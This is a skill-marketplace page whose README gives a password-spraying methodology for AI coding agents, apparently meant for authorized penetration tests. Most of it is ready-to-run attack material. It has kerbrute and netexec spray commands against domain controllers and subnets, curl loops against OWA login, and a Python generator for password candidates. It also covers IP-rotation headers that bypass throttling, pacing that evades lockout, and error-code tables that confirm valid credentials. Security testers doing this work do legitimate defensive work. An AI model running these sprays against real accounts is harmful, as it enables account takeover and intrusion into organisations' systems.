mcpField
P
password-spray-methodology

password-spray-methodology

github.com/uphiagoSecurity1.3k40 installsUpdated 8w ago
Repository

About password-spray-methodology

A methodology skill for authorized security assessments that organizes a password-spraying process across protocols. It covers user enumeration, lockout and throttle checks, candidate selection, execution, and interpreting authentication responses.

Key features

  1. 01Cross-protocol spray workflow
  2. 02User enumeration techniques
  3. 03Lockout and throttle assessment
  4. 04Password pattern generation
  5. 05Authentication response interpretation
  6. 06Engagement logging guidance

Use cases

  1. 01Assess login portals using an authorized user list
  2. 02Test supplied credentials across in-scope services
  3. 03Distinguish valid credentials from blocked sign-ins

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/uphiago/recon-skills --skill password-spray-methodology

After installing, type/password-spray-methodologyin Claude Code to confirm it loaded.

Details

From the project README

Password Spray Methodology

Password spraying is the highest-ROI credential attack: one (or few) passwords tried against many users. It's quiet, avoids lockouts, and succeeds where traditional brute force fails. This skill consolidates every spray vector, enumeration technique, pattern, and protocol across the entire skill catalog.

This is a methodology skill. Protocol-specific details live in their respective skills — cross-reference them for deep dives. This skill covers the universal spray pipeline that applies everywhere.

When to Use

  • Starting ANY engagement with a user list but no credentials
  • Finding internet-facing login portals (OWA, Okta, ADFS, VPN, SSO, OIDC)
  • After hunt-ntlm-info reveals AD domain/UPN format — feed into spray
  • After hunt-ldap enumerates sAMAccountNames — feed into spray
  • After js-secrets-extraction finds email patterns — feed into spray
  • OneDrive 302/404 enum (from m365-entra-attack) confirms licensed users — spray them
  • Any leaked credential dump from client — validate against all services
  • Active-attacker detection via Smart Lockout differential

Universal Spray Pipeline (5 Phases)

Phase 1: ENUMERATE USERS    → valid user list
Phase 2: DETECT LOCKOUT      → max attempts/min, throttle rate
Phase 3: GENERATE PASSWORDS  → 5-20 high-probability candidates
Phase 4: EXECUTE SPRAY       → per-protocol, low-and-slow
Phase 5: INTERPRET RESULTS   → error code differential → finding or discard

Phase 1 — User Enumeration

The spray is only as good as the user list. Gather usernames BEFORE touching any auth endpoint.

Universal Enumeration Sources
SourceTechniqueLockout RiskSkill Reference
LinkedIn / company pageScrape employee names → username-anarchyZero—
OneDrive personal siteGET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx → 302=exists, 404=noZerom365-entra-attack
Kerberos pre-authkerbrute userenum --dc <DC> --domain <DOMAIN> users.txtZero (KDC_ERR_PREAUTH_REQUIRED does not count as auth failure)—
NTLM Type-2 decodeExtract AD domain, NetBIOS name, computer name from anonymous probeZerohunt-ntlm-info
Jira user picker/rest/api/2/user/picker?query= — public on misconfigured instancesZero—
Jenkins/asynchPeople/ or /securityRealm/user/<name>/Zero—
ManageEngine ADManager PlusUnauthenticated user listing on exposed instancesZero—
WordPress REST API/wp-json/wp/v2/users — dumps authors with usernamesZerohunt-wordpress
GitLab/api/v4/users — public on open instancesZero—
O365 AutodiscoverHARDENED — returns identical 200 for all (2024+)Zero but deadm365-entra-attack
GetUserRealmHARDENED — returns same XML for any email in tenantZero but deadm365-entra-attack
Username Format Generation

After scraping names, generate all org-likely formats:

# From a list of real names (First Last, one per line)
./username-anarchy -i names.txt > usernames.txt

# Common formats for enterprise targets:
# firstname.lastname, f.lastname, firstnamelastname, flastname
# firstname_lastname, lastname.firstname, firstname
# Also try: email prefix from known addresses (jdoe@ → jdoe)
CeWL — Target-Specific Word Extraction
cewl -d 3 -m 6 --lowercase https://target.com -w target_words.txt
# Feeds both username generation AND password patterns

Phase 2 — Lockout Detection & Throttle Math

Four Rate-Limit States (from hunt-brute-force)

Before spraying, classify the target endpoint into one of four states:

StateSignalSpray Feasible?
Hard lockoutAccount disabled after N fails; correct creds also failNo (DoS finding instead)
Soft IP throttle429 or increasing latency keyed on source IPYes — bypass via IP rotation
CAPTCHA injection200 but body switches to CAPTCHA after N attemptsMaybe — check if API path skips it
Silent shadow-throttle200/401 on every request but submissions are dropped silentlyTRAP — inject known-good value at known position to detect
Shadow-Throttle Detection (CRITICAL — the biggest false-negative)
# Inject a known-good credential at position 500
# If it stops working under load, shadow-throttle is active
# Your "no rate limit" conclusion was false
KNOWN_GOOD="[email protected]:CorrectP@ss"
for n in $(seq 0 600); do
  code=$(curl --max-time 30 --connect-timeout 10 -sk -u "user${n}@target.com:WrongP@ss" -o /dev/null -w "%{http_code}" \
    "https://TARGET/auth-endpoint")
  echo "$n $code $(wc -c </tmp/bf_body)"
done
# Watch: status flips, time_total climbing, body size changing
Smart Lockout Math (Microsoft Entra ID — from m365-entra-attack)
  • Default: 10 failed sign-ins in 10 minutes → 1-minute lockout
  • Counter shared across ALL auth flows (ROPC + SAML + IMAP + EWS + SMTP + device-code)
  • Mathematical guarantee: with ≤1 attempt per user, you CANNOT cause Smart Lockout (1 < 10)
  • Any AADSTS50053 observed = PRE-EXISTING external attacker → SOC finding
HARD_CAP = 1  # per user per engagement LIFETIME — never higher
Okta Lockout
  • Default: 10 failed sign-ins (configurable, some orgs: 3)
  • Discipline: ≤2 attempts per user lifetime (safer than Entra's 1 because Okta lockout can be 3)
Exchange/OWA Rate Limit Test
for i in $(seq 1 5); do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 \
    -X POST "https://$TARGET/owa/auth.owa" \
    -d "destination=https://$TARGET/owa/&[email protected]&password=WrongPass123!")
  echo "Attempt $i: HTTP $code"
done
# All same code → no rate limiting on this endpoint
Concrete Throttle References
ProtocolSafe RateSource
M365 ROPC≤30 req/sec to login.microsoftonline.com (per IP)Authorized engagement
M365 Smart Lockout≤1 attempt per user LIFETIME per engagementMathematical guarantee
Okta /authn≤2 attempts per user lifetime; slower than Entra (tuner-different anti-automation)Authorized engagement
Exchange OWATest 5 rapid attempts first; if uniform, spray slowlyexchange-owa-attack
SharePoint SOAPNo rate limit observed on SP2013; still go slowhunt-sharepoint
Kerberos (Kerbrute)No lockout risk from pre-auth probe; spray pace: 1 password per full user list per hourPublic research
IP Rotation BypassX-Forwarded-For, X-Real-IP, X-Originating-IP, CF-Connecting-IP, True-Client-IPhunt-brute-force
NodeZero reference2 attempts per hour in production environmentsHorizon3.ai (2022)

Phase 3 — Password Pattern Generation

The Complexity Backfire (CRITICAL INSIGHT)

Password complexity policies (uppercase + lowercase + digit + special) produce MORE predictable passwords, not less. The human pattern is always the same: Uppercase first letter + lowercase word + digit at end + ! at end.

Observations from PACK analysis (Kacherginsky, 2013) across RockYou, LinkedIn, MySpace, Stratfor, Singles.org, FaithWriters, phpBB:

  1. : (no transformation) — 2-25% of all passwords are straight dictionary words
  2. $1 (append "1") — 0.5-5.5% of all passwords
  3. $1 $2 $3 — 0.1-0.6%
  4. $1 $2 — 0.08-0.5%
  5. Seasonal: Summer2024!, Winter2025!, Spring2026!
  6. Company: <Brand>@2026, <Brand>@123, <City>@2026
  7. Default rotation: Password@<year>, Welcome@<year>, Admin@<year>
Pattern Generation Recipe
# 1. Company-derived patterns
brand_variants = ["CompanyName", "Company", "COMPANY", "company"]
years = ["2026", "2025", "2024", "2023", "26", "25"]
specials = ["", "!", "@", "#", "1", "123", "123!"]
seasonal = ["Summer", "Winter", "Spring", "Autumn", "Fall"]
passwords = []
for brand in brand_variants:
    for year in years:
        for spec in specials:
            passwords.append(f"{brand}{year}{spec}")
            passwords.append(f"{brand}@{year}")
for season in seasonal:
    for year in years:
        passwords.append(f"{season}{year}!")
        passwords.append(f"{season}{year}")

# 2. Plant/office city names from company website
cities = ["SaoPaulo", "Rio", "BH", "Brasilia"]
for city in cities:
    for year in years:
        for spec in specials:
            passwords.append(f"{city}{year}{spec}")

# 3. Functional account defaults
functional = ["noreply", "purchase", "accounts", "postmaster",
              "transport", "admin", "helpdesk", "support", "info"]
for func in functional:
    passwords.append(f"{func}@123")
    passwords.append(f"{func}{year}")
Wordlist Strategy
StageWordlistWhen
1. Leaked credsClient-provided dump, stealer logsAlways first — each is the strongest guess for that user
2. Company-specificCeWL output + brand patterns (Phase 3 recipe)Every engagement
3. Probable-WordlistsTop 100 from berzerk0's frequency-sorted listWhen company patterns fail
4. rockyou.txt top-NFilter to 8+ chars matching target policyFallback
AVOIDRockYou202498% garbage (hashes, truncated strings, unicode junk, Russian text) — zero practical value
Custom mutationsApply Hashcat rules to company-specific listDeep engagement
# Generate mutated list with common rules
hashcat --stdout -r /usr/share/hashcat/rules/best64.rule target_words.txt | sort -u > mutated.txt

Phase 4 — Spray Execution Matrix

ProtocolEndpointSpray CommandRate LimitSkill Ref
M365 ROPClogin.microsoftonline.com/common/oauth2/tokenPython attempt() with state file≤1/user/lifetimem365-entra-attack
Okta<tenant>.okta.com/api/v1/authncurl POST {"username":"...","password":"..."}≤2/user/lifetimeokta-attack
Exchange OWA/owa/auth.owa (POST), /ews/Exchange.asmx (Basic)curl HTTP POST or Basic AuthTest 5 rapid firstexchange-owa-attack
Kerberos (AD)KDC (TCP 88)kerbrute passwordspray --dc <DC> -d <DOMAIN> users.txt '<password>'No lockout from spray—
SMB / WinRMTCP 445 / 5985netexec smb 10.0.0.0/24 -u users.txt -p passwords.txt --continue-on-successPer-service—
SharePoint SOAP/_vti_bin/Authentication.asmxPOST SOAP Login envelopeNo rate limit on SP2013 farmshunt-sharepoint
WordPress XMLRPC/xmlrpc.phpsystem.multicall batches hundreds in 1 requestNone observedhunt-auth-bypass
OIDC password grant/oauth2/token (custom tenant)grant_type=password with client_idDepends on IdP—
Citrix NetScaler/vpn/index.html, /cgi/loginPOST form credentialsPer-instance—
F5 BIG-IP/tmui/login.jspPOST form credentialsPer-instance—
Atlassian/rest/auth/1/session (Basic)curl -uNo rate limit on many instances—
Jenkins/jnlpJars/jenkins-cli.jar, /scriptcurl POSTPer-instance—
Kerbrute — Spray AD Without Lockout
# Enumerate first (zero lockout risk)
./kerbrute_linux_amd64 userenum \
  --dc 10.10.10.5 \
  --domain corp.local \
  usernames.txt

# Then spray — one password at a time across ALL valid users
./kerbrute_linux_amd64 passwordspray \
  --dc 10.10.10.5 \
  --domain corp.local \
  valid_users.txt 'Summer2026!'
NetExec — Multi-Protocol Spray
# Spray SMB across subnet
netexec smb 10.10.10.0/24 -u users.txt -p passwords.txt --continue-on-success

# Spray WinRM
netexec winrm 10.10.10.0/24 -u users.txt -p passwords.txt

# Spray MSSQL
netexec mssql 10.10.10.0/24 -u users.txt -p passwords.txt

# Single credential validation
netexec smb 10.10.10.5 -u administrator -p 'P@ssw0rd!'

# [+] = valid auth  |  (Pwn3d!) = local admin on that machine
Burp Intruder — OWA Spray
# POST request to /owa/auth.owa
# Sniper mode: variable on username field
# Fixed password field = common candidate
# Track timestamp between launches to avoid re-spraying same password

Phase 5 — Error Code Differentials

The difference between "wrong password" and "correct password but blocked" is everything. The latter is a confirmed finding even without a token.

AADSTS Codes (M365/Entra — from m365-entra-attack)
CodeMeaningPassword Valid?Action
AADSTS50034User does not existN/ARemove from list
AADSTS50126Invalid password❌User exists — retry within cap
AADSTS50053Account locked (Smart Lockout)UnknownPRE-EXISTING → SOC finding
AADSTS53003CA blocked token issuance✅ YESSTOP — VALID CREDENTIAL
AADSTS50076MFA required✅ YESVALID — second factor needed
AADSTS50079Strong auth required✅ YESVALID
AADSTS50158External auth required✅ YESVALID
AADSTS530003Device-state required✅ YESVALID

CRITICAL TRAP — ROPC substring false-positive: When CA requires MFA, the error body includes "claims":{"access_token":{"capolids":...}}. A loose substring check if "access_token" in raw_body will false-positive every MFA-blocked attempt. Always parse JSON, then check if "access_token" in parsed_dict.

Okta Codes (from okta-attack)
ResponseMeaningPassword Valid?
200 status=MFA_REQUIREDMFA challenge waiting✅ YES
200 status=SUCCESS + sessionTokenFull auth (no MFA)✅ YES
200 status=PASSWORD_EXPIREDMust change password✅ YES
200 status=LOCKED_OUTAccount lockedUnknown
401 E0000004Auth failed (user doesn't exist OR wrong password — Okta unifies)❌
401 E0000119User is lockedUnknown
429Rate-limit hit—
Exchange OWA Codes
StatusMeaning
302 + Location to /owa/✅ VALID — authenticated
200 with same login page❌ Invalid
Consistent HTTP codes across 5 rapid attemptsNo rate limit — spray viable

Engagement Discipline

Must Do
  • State file with atomic writes: per-user attempt counter (JSON)
  • Engagement journal: JSONL log of every attempt (timestamp, email, password first 4 chars, status, AADSTS code)
  • IP rotation log: per-day: date, src-ip, ISP-AS, operator-handle, round
  • Test ALL tenants: sister domains often have separate Entra tenants with different password policies
  • Kill switch: stop run if LOCKED count exceeds threshold (suggests pre-existing attacker or miscount)
  • Leaked creds FIRST: each is 1 cap-attempt against the strongest guess for that user
Anti-Patterns (Don't Do These)
  • DON'T use leaked cred across multiple resources — burns cap with no marginal benefit when CA blocks
  • DON'T retry after AADSTS50053 — account is locked
  • DON'T spray >30 req/sec sustained to login.microsoftonline.com — IP flagged for credential-stuffing
  • DON'T use Entra-style spray pace on Okta — anti-automation is tuner-different
  • DON'T retract a CA-block finding — AADSTS53003/50076/50079 = password is correct
  • DON'T skip user enumeration — spraying without known-valid usernames is blind noise
  • DON'T use RockYou2024 — 98% garbage (hashes, truncated strings, unicode junk)
  • DON'T spray a user more than HARD_CAP times across the entire engagement lifetime
  • DON'T confuse *.oktapreview.com with production — preview is non-prod, different severity
Active-Attacker Detection (Highest-Impact Byproduct)

The Smart Lockout math guarantee (1 < 10) doubles as an active-attacker detector:

  1. Cap: 1 attempt per user
  2. Observe AADSTS50053 (LOCKED) on multiple users
  3. You did not cause these locks (1 < 10 = mathematically impossible)
  4. An external attacker is actively spraying the tenant RIGHT NOW
  5. Cluster locked users alphabetically → clustering = attacker using sorted username list
  6. Diff lockout count between spray-start and spray-end → new locks = attacker active during your session
  7. Document locked email list as SOC-actionable finding

Chain Table

ChainFromToImpact
User enum → spray → valid credhunt-ntlm-infoThis skillATO
Sprayed cred → email accessThis skillm365-entra-attackData exfil
Spray → MFA challenge → bypassThis skillhunt-mfa-bypassFull ATO
Spray → valid cred → lateralThis skillNetExec/impacketDomain compromise
Spray → lockout observation → SOC alertThis skillmid-engagement-ir-detectionIR finding
Spray → SharePoint SOAP cred → FedAuth → authenticated surfaceThis skillhunt-sharepointSharePoint access
LDAP enum → sAMAccountName list → AD sprayhunt-ldapThis skill (Kerbrute)Mass-ATO

Tool Summary

ToolPurposeCommand
KerbruteAD user enum + spray (no lockout)kerbrute userenum/passwordspray
NetExec (nxc)Multi-protocol spray (SMB, WinRM, MSSQL, RDP)netexec smb 10.0.0.0/24 -u users.txt -p passwords.txt
Burp IntruderHTTP POST spray (OWA, custom portals)Sniper mode, variable username, fixed password
CeWLTarget-specific wordlist generationcewl -d 3 -m 6 --lowercase https://target.com -w words.txt
username-anarchyUsername format generation from real names./username-anarchy -i names.txt > usernames.txt
HashcatPassword rule generation (PACK) + wordlist mutationhashcat --stdout -r rules/best64.rule words.txt
curlManual spray probes, lockout testscurl --max-time 30 --connect-timeout 10 -sk -u "user:pass" https://TARGET/endpoint
PythonCustom spray script with state file + JSON parsingSee m365-entra-attack for ROPC template
MailSniperPost-compromise GAL extraction from OWAAmplifies spray list after first valid cred
hydraHTTP form spray (legacy — prefer Burp Intruder)hydra -L users.txt -P passwords.txt http-post-form

Verification

  1. Spray tool availability — confirm spray tools:
    which crackmapexec 2>/dev/null && echo "PASS: crackmapexec installed" || echo "NOTE: crackmapexec not installed"
    pip3 show o365spray 2>/dev/null | grep -q "Name:" && echo "PASS: o365spray installed" || echo "NOTE: o365spray not installed"
    

All tests verify password spray readiness.


Pitfalls

  • Spraying without lockout policy knowledge — Entra ID Smart Lockout, Okta lockout, and on-prem AD lockout all work differently. Know the threshold before spraying.
  • One-password spray — spraying only "Password123" is nearly useless. Use a targeted list of 2-4 high-probability passwords per org.
  • Spray without user enumeration first — validating usernames before spraying reduces noise and lockout risk. Always enum first.
  • Timing-based account validation — password spray timing differentials can confirm valid accounts. Measure carefully with n>=10 samples.
  • OAuth/Modern Auth spray — modern auth endpoints (OAuth2 token endpoint) have different lockout behavior than legacy endpoints. Test both paths.

Related Skills

  • m365-entra-attack — M365-specific ROPC validation, AADSTS code reference, OneDrive user enumeration, Smart Lockout math, tenant discovery
  • okta-attack — Okta-specific spray endpoint, error codes, factor enumeration, lockout discipline
  • exchange-owa-attack — OWA rate-limit testing, Basic Auth spray, NTLM Type-2 domain extraction, government naming patterns
  • hunt-brute-force — Four rate-limit states, shadow-throttle detection, IP rotation bypass, OTP brute methodology
  • hunt-auth-bypass — Legacy Protocol Matrix (WordPress XMLRPC, Citrix, F5, Atlassian spray endpoints)
  • hunt-sharepoint — SharePoint SOAP Authentication.asmx anonymous credential brute-force (no rate limit)
  • hunt-ldap — sAMAccountName enumeration → spray target list
  • hunt-ntlm-info — NTLM Type-2 → UPN format → credential format for spray
  • hunt-mfa-bypass — Spray → MFA challenge → bypass chain
  • mid-engagement-ir-detection — Active-attacker detection via Smart Lockout lockout differential
  • hunt-wordpress — REST API user enumeration → spray target list

Comments

Markdown supported